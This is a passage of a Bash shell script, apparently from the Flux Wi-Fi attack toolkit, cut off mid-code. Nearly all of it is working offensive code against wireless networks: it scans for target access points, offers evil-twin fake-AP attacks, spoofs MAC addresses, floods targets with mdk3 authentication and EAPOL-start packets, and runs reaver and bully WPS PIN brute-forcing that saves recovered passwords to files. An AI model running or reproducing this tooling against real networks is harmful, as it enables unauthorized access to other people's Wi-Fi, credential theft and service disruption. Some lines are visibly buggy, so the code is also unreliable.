/usr/bin/nmap ]; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Php5-cgi........" + if ! [ -f /usr/bin/php-cgi ]; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Pyrit..........." + if ! hash pyrit 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Python.........." + if ! hash python 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Unzip..........." + if ! hash unzip 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Reaver ...." + if ! hash reaver 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Xterm..........." + if ! hash xterm 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + if [ "$exit" = "1" ]; then + exit 1 + fi + + sleep 1 + clear +} +mostrarheader +checkdependences + +# Create Workbook +if [ ! -d $DUMP_PATH ]; then + mkdir $DUMP_PATH &>$flux_output_device +fi + + +if [ $FLUX_DEBUG != 1 ]; then + + echo "" + sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" + sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" + sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" + echo "" + + sleep 1 + echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" + sleep 1 + echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent + sleep 1 + echo -n " Latest rev." + tput civis + checkupdatess & + spinner "$!" + revision_online=$(cat $DUMP_PATH/Irev) + echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" +# if [ "$revision_online" != "?" ]; then +# +# if [ "$revision" != "$revision_online" ]; then +# +# cp $0 $HOME/flux_rev-$revision.backup +# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 +# echo +# echo +# echo -e ""$red" +#Updated successfully! Restarting the script to apply the changes ..."$transparent"" +# sleep 5 +# chmod +x $0 +# exec $0 +# +# fi +# fi + echo "" + tput cnorm + sleep 2 + +fi + +# Show info for the selected AP +function infoap { + + Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` + Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` + echo "INFO WIFI" + echo + echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" + echo -e " "$blue"Channel"$transparent" = $channel" + echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" + echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" + echo +} + +############################################## < START > ############################################## + + + + + + +############################################### < MENU > ############################################### + +# Windows + Resolution +function setresolution { + + function resA { + + TOPLEFT="-geometry 90x13+0+0" + TOPRIGHT="-geometry 83x26-0+0" + BOTTOMLEFT="-geometry 90x24+0-0" + BOTTOMRIGHT="-geometry 75x12-0-0" + TOPLEFTBIG="-geometry 91x42+0+0" + TOPRIGHTBIG="-geometry 83x26-0+0" + } + + function resB { + + TOPLEFT="-geometry 92x14+0+0" + TOPRIGHT="-geometry 68x25-0+0" + BOTTOMLEFT="-geometry 92x36+0-0" + BOTTOMRIGHT="-geometry 74x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 74x30-0+0" + } + function resC { + + TOPLEFT="-geometry 100x20+0+0" + TOPRIGHT="-geometry 109x20-0+0" + BOTTOMLEFT="-geometry 100x30+0-0" + BOTTOMRIGHT="-geometry 109x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 109x30-0+0" + } + function resD { + TOPLEFT="-geometry 110x35+0+0" + TOPRIGHT="-geometry 99x40-0+0" + BOTTOMLEFT="-geometry 110x35+0-0" + BOTTOMRIGHT="-geometry 99x30-0-0" + TOPLEFTBIG="-geometry 110x72+0+0" + TOPRIGHTBIG="-geometry 99x40-0+0" + } + function resE { + TOPLEFT="-geometry 130x43+0+0" + TOPRIGHT="-geometry 68x25-0+0" + BOTTOMLEFT="-geometry 130x40+0-0" + BOTTOMRIGHT="-geometry 132x35-0-0" + TOPLEFTBIG="-geometry 130x85+0+0" + TOPRIGHTBIG="-geometry 132x48-0+0" + } + function resF { + TOPLEFT="-geometry 100x17+0+0" + TOPRIGHT="-geometry 90x27-0+0" + BOTTOMLEFT="-geometry 100x30+0-0" + BOTTOMRIGHT="-geometry 90x20-0-0" + TOPLEFTBIG="-geometry 100x70+0+0" + TOPRIGHTBIG="-geometry 90x27-0+0" +} + +detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) +## A) 1024x600 +## B) 1024x768 +## C) 1280x768 +## D) 1280x1024 +## E) 1600x1200 +case $detectedresolution in + "1024x600" ) resA ;; + "1024x768" ) resB ;; + "1280x768" ) resC ;; + "1366x768" ) resC ;; + "1280x1024" ) resD ;; + "1600x1200" ) resE ;; + "1366x768" ) resF ;; + * ) resA ;; +esac +} + +# Choose Interface +function setinterface { + + # Collect all interfaces in montitor mode & stop all + KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` + + for monkill in ${KILLMONITOR[@]}; do + ./airmon stop $monkill >$flux_output_device + echo -n "$monkill, " + done + + # Create a variable with the list of physical network interfaces + readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) + INTERFACESNUMBER=`./airmon| grep -c "-"` + + echo + echo + echo Autodetect Resolution ... + echo $detectedresolution + echo + + + + if [ "$INTERFACESNUMBER" -gt "0" ]; then + + echo "Select an interface" + echo + i=0 + + for line in "${wirelessifaces[@]}"; do + i=$(($i+1)) + wirelessifaces[$i]=$line + echo -e "$blue ""$i)"$transparent" $line" + done + + echo -n "#? " + read line + PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') + + if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then + conditional_clear + mostrarheader + setinterface + fi + + readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') + WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') + rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 + + for molesto in "${softwaremolesto[@]}"; do + killall "$molesto" &>$flux_output_device + done + sleep 0.5 + + modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 + sleep 0.5 + # Select Wifi Interface + select PREWIFI in $INTERFACES; do + break; + done + + WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) + WIFI_MONITOR=$WIFIMONITOR + WIFI=$PREWIFI + + #No wireless cards + else + + echo There are no wireless cards, quit... + sleep 5 + exitmode + fi + + deltax + +} + +# Check files +function deltax { + + conditional_clear + CSVDB=dump-01.csv + + rm -rf $DUMP_PATH/* + + choosescan + selection +} + +# Select channel +function choosescan { + + conditional_clear + + while true; do + conditional_clear + mostrarheader + + echo "Select channel" + echo " " + echo -e " "$blue"1)"$transparent" All channels " + echo -e " "$blue"2)"$transparent" Specific channel(s) " + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) Scan ; break ;; + 2 ) Scanchan ; break ;; + * ) echo "Unknown option. Please choose again"; conditional_clear ;; + esac + done +} + +# Choose your channel if you choose option 2 before +function Scanchan { + + conditional_clear + mostrarheader + + echo " " + echo " Select Channel " + echo " " + echo -e " Single channel "$blue"6"$transparent" " + echo -e " Multiple channels "$blue"1-5"$transparent" " + echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " + echo " " + echo -n " #> " + read channel_number + set -- ${channel_number} + conditional_clear + + rm -rf $DUMP_PATH/dump* + xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR +} + +# Scans the entire network +function Scan { + + conditional_clear + xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR +} + +# Choose a network +function selection { + + conditional_clear + mostrarheader + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv + echo " WIFI LIST " + echo "" + echo " # MAC CHAN SECU PWR ESSID" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" + aidlenght=$IDLENGTH + assid[$i]=$ESSID + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" + echo "" + echo " Select Target " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + ssid=${assid[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#ssid} + fin=$(($acouper-idlength)) + Host_SSID=${ssid:1:fin} + + conditional_clear + + askAP +} + +# FakeAP +function askAP { + + DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` + + if [ $DIGITOS_WIFIS_CSV -le 15 ]; then + selection && break + fi + + if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then + fakeapmode="airbase-ng" + askauth + fi + + mostrarheader + while true; do + + infoap + + echo " ##### Select Attack Option #####" + echo " " + echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" + echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" + echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" + echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" + echo -e " "$blue"5)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; + 2 ) fakeapmode="airbase-ng"; askauth; break ;; + 3 ) fakeapdmode="WPS"; wps; break ;; + 4 ) wifite ;wifite; break ;; + 5 ) selection; break ;; + * ) echo "Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +#wifite +function wifite { + sudo python wifite.py +} +# Test Passwords / airbase-ng +function askauth { + + conditional_clear + mostrarheader + while true; do + + echo "METHOD TO VERIFICATION THE PASSWORD" + echo " " + echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" + echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" + echo -e " "$blue"3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) authmode="handshake"; handshakelocation; break ;; + 2 ) authmode="wpa_supplicant"; webinterface; break ;; + 3 ) askAP; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} +function wps { + +clear +echo " +██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ +██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ +██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ +██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ +╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ +╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ + +" + +echo "WPS-SLAUGHTER BY: Apathetic Euphoria" +echo "+ Help and Support from Aanarchyy" + +sleep 3 +clear + +#!/bin/bash +clear +declare BSSID; +declare ESSID; +declare CHANNEL; +declare WIFI_MONITOR; +declare WIFI_MONITOR2; +declare WIFI_MONITOR3; +declare WIFI_MONITOR4; +declare WIFI_MONITOR5; +sleep 3 +clear + +sudo rfkill unblock all + +#####Functions for Monitor Mode#### + +enable_mon_mode_1() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down +sleep 1 +sudo iwconfig $WIFI_MONITOR mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_2() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 1 +sudo iwconfig $WIFI_MONITOR2 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR2 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_3() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 1 +sudo iwconfig $WIFI_MONITOR3 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR3 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_4() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 downa +sleep 1 +sudo iwconfig $WIFI_MONITOR4 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR4 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_5() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 1 +sudo iwconfig $WIFI_MONITOR5 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR5 up +echo "Monitor Mode Enabled" +} + +####End of Functions for Monitor Mode#### + +#### Functions for MAC CHANGER #### + +mac_change_1() +{ +echo "Setting the MAC Address on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down +sleep 3 +macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR up +echo "MAC Changed" +} + +mac_change_2() +{ +echo "Setting the MAC Address on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 3 +macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR2 up +echo "MAC Changed" +} + +mac_change_3() +{ +echo "Setting the MAC Address on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 3 +macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR3 up +echo "MAC Changed" +} + +mac_change_4() +{ +echo "Setting the MAC Address on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 down +sleep 3 +macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR4 up +echo "MAC Changed" +} + +mac_change_5() +{ +echo "Setting the MAC Address on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 3 +macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR5 up +echo "MAC Changed" +} + +####End of Functions for MAC CHANGER #### + + +####Target Scanner#### + +scan_for_targets() +{ + +sudo ifconfig $WIFI_MONITOR down +sudo iwconfig $WIFI_MONITOR mode managed +sudo ifconfig $WIFI_MONITOR up + +eval $(sudo iwlist $WIFI_MONITOR scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') + +conditional_clear +mostrarheader + +echo "Select your wlan" +echo "" +echo -e ""$blue"0)"$transparent" Rescan" +echo -e ""$blue"1)"$transparent" $ESSID1" +echo -e ""$blue"2)"$transparent" $ESSID2" +echo -e ""$blue"3)"$transparent" $ESSID3" +echo -e ""$blue"4)"$transparent" $ESSID4" +echo -e ""$blue"5)"$transparent" $ESSID5" +echo -e ""$blue"6)"$transparent" $ESSID6" +echo -e ""$blue"7)"$transparent" $ESSID7" +echo -e ""$blue"8)"$transparent" $ESSID9" +echo -e ""$blue"9)"$transparent" $ESSID10" +echo -e ""$blue"10)"$transparent" $ESSID11" +echo -e ""$blue"11)"$transparent" $ESSID11" +echo -e ""$blue"12)"$transparent" $ESSID12" +echo -e ""$blue"13)"$transparent" $ESSID13" +echo -e ""$blue"14)"$transparent" $ESSID14" +echo -e ""$blue"15)"$transparent" $ESSID15" +echo -e ""$blue"16)"$transparent" $ESSID16" +echo -e ""$blue"17)"$transparent" $ESSID17" +echo -e ""$blue"18)"$transparent" $ESSID18" +echo -e ""$blue"19)"$transparent" $ESSID19" +echo -e ""$blue"20)"$transparent" $ESSID20" +echo -e ""$blue"21)"$transparent"EXIT" +echo -e "" + + +read a +case $a in + + 0) +clear +scan_for_targets +;; + 21) +clear +exitmode +;; + 1) +BSSID=$BSSID1 +ESSID=$ESSID1 +CHANNEL=$CHANNEL1 +;; + 2) +BSSID=$BSSID2 +ESSID=$ESSID2 +CHANNEL=$CHANNEL2 +;; + 3) +BSSID=$BSSID3 +ESSID=$ESSID3 +CHANNEL=$CHANNEL3 +;; + 4) +BSSID=$BSSID4 +ESSID=$ESSID4 +CHANNEL=$CHANNEL4 +;; + 5) +BSSID=$BSSID5 +ESSID=$ESSID5 +CHANNEL=$CHANNEL5 +;; + 6) +BSSID=$BSSID6 +ESSID=$ESSID6 +CHANNEL=$CHANNEL6 +;; + 7) +BSSID=$BSSID7 +ESSID=$ESSID7 +CHANNEL=$CHANNEL7 +;; + 8) +BSSID=$BSSID8 +ESSID=$ESSID8 +CHANNEL=$CHANNEL8 +;; + 9) +BSSID=$BSSID9 +ESSID=$ESSID9 +CHANNEL=$CHANNEL9 +;; + 10) +BSSID=$BSSID10 +ESSID=$ESSID10 +CHANNEL=$CHANNEL10 +;; + 11) +BSSID=$BSSID11 +ESSID=$ESSID11 +CHANNEL=$CHANNEL11 +;; + 12) +BSSID=$BSSID12 +ESSID=$ESSID12 +CHANNEL=$CHANNEL12 +;; + 13) +BSSID=$BSSID13 +ESSID=$ESSID13 +CHANNEL=$CHANNEL13 +;; + 14) +BSSID=$BSSID14 +ESSID=$ESSID14 +CHANNEL=$CHANNEL14 +;; + 15) +BSSID=$BSSID15 +ESSID=$ESSID15 +CHANNEL=$CHANNEL15 +;; + 16) +BSSID=$BSSID16 +ESSID=$ESSID16 +CHANNEL=$CHANNEL16 +;; + 17) +BSSID=$BSSID17 +ESSID=$ESSID17 +CHANNEL=$CHANNEL17 +;; + 18) +BSSID=$BSSID18 +ESSID=$ESSID18 +CHANNEL=$CHANNEL18 +;; + 19) +BSSID=$BSSID19 +ESSID=$ESSID19 +CHANNEL=$CHANNEL19 +;; + 20) +BSSID=$BSSID20 +ESSID=$ESSID20 +CHANNEL=$CHANNEL20 +;; + *) +Invalid Option +;; +esac + +} + +####End of Target Scanner#### + +################################## Functions For MDK3 ######################################## + +run_mdk3_ASOC1() +{ + xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" +} + +run_mdk3_EAPOL1() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC2() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" +} + +run_mdk3_EAPOL2() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC3() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" +} + +run_mdk3_EAPOL3() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC4() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" +} + +run_mdk3_EAPOL4() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC5() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" +} + +run_mdk3_EAPOL5() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" +} + +##################################End Of Functions For MDK3 ######################################## + +conditional_clear +mostrarheader + +echo "§How many wlan WIFI_MONITORs§" +echo " " +echo -e ""$blue"1)"$transparent" 1 WIFI_MONITOR" +echo -e ""$blue"2)"$transparent" 2 WIFI_MONITOR" +echo -e ""$blue"3)"$transparent" 3 WIFI_MONITOR" +echo -e ""$blue"4)"$transparent" Back" +echo " " +echo -n " #> " + +read a +case $a in + 1) +clear +echo +read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": WIFI_MONITOR; + +clear + +scan_for_targets + + +clear + +enable_mon_mode_1 + +sleep 1 + +clear + + + +conditional_clear +mostrarheader + +echo "Change MAC Address" +echo " " + echo -e " "$blue"1)"$transparent" yes" + echo -e " "$blue"2)"$transparent" no" + echo " " + echo -n " #> " + +read c +case $c in + 1) +clear + +mac_change_1 + +sleep 1 + +clear +;; + 2) +clear +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read d +case $d in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + 